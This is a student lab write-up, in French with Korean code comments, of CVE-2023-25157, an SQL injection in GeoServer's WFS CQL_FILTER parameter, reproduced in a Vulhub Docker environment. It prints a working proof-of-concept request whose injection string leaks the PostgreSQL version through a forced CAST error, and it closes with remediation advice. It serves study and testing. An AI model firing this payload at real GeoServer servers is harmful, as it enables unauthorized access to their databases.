geoserver CVE-2023-25157
Kim Jeong-woo, 3e promotion White Hat [classe 30]
Lien GitHub - https://github.com/custiya/geoserver-CVE-2023-25157
Résumé de la vulnérabilité
- CVE-2023-25157 est une vulnérabilité de type SQLi affectant GeoServer, une application web open source de service de données cartographiques.
- Elle se produit dans certaines versions de GeoServer 2.22.0 et inférieures.
- Le paramètre CQL_FILTER des requêtes WFS (Web Feature Service) est vulnérable.
- Si cette API est accessible sans authentification, n'importe qui peut l'exploiter.
Configuration de l'environnement
- Exécutez l'environnement de test avec la commande docker compose up -d
- Vous pouvez accéder à la page via http://your-ip:8080/geoserver
- Vous devez d'abord trouver un espace de travail existant contenant un magasin de données PostGIS.
- L'instance GeoServer de Vulhub contient déjà un magasin de données PostGIS.
- Nom de l'espace de travail : vulhub
- Nom du magasin de données : pg
- Nom de la table : example
- Attribut utilisé : name
poc.py
- Il s'agit d'une syntaxe SQLi construite à partir de ce qui a été décrit ci-dessus.
- Cette syntaxe est envoyée au serveur à l'aide du module request.
- strStartsWith(name,'x'') = true
- Ajoute un ' supplémentaire après x pour casser la syntaxe SQL.
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- La fonction version() renvoie la version actuelle de PostgreSQL sous forme de chaîne de caractères.
- CAST(... AS integer) force la conversion en entier, ce qui provoque une erreur.
- Le serveur renvoie alors un message d'erreur, ce qui permet de tester l'injection SQL aveugle (Blind SQL Injection).
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
Résultat

Conclusion
- Grâce à ce PoC, nous avons pu déterminer si une injection SQL se produit. Un attaquant pourrait probablement collecter des informations système via des requêtes SQL.
- Pour empêcher cette attaque, une validation des entrées utilisateur doit être ajoutée. De plus, plutôt que de traduire et d'utiliser directement la syntaxe SQL reçue, celle-ci doit être stockée séparément avant d'être utilisée.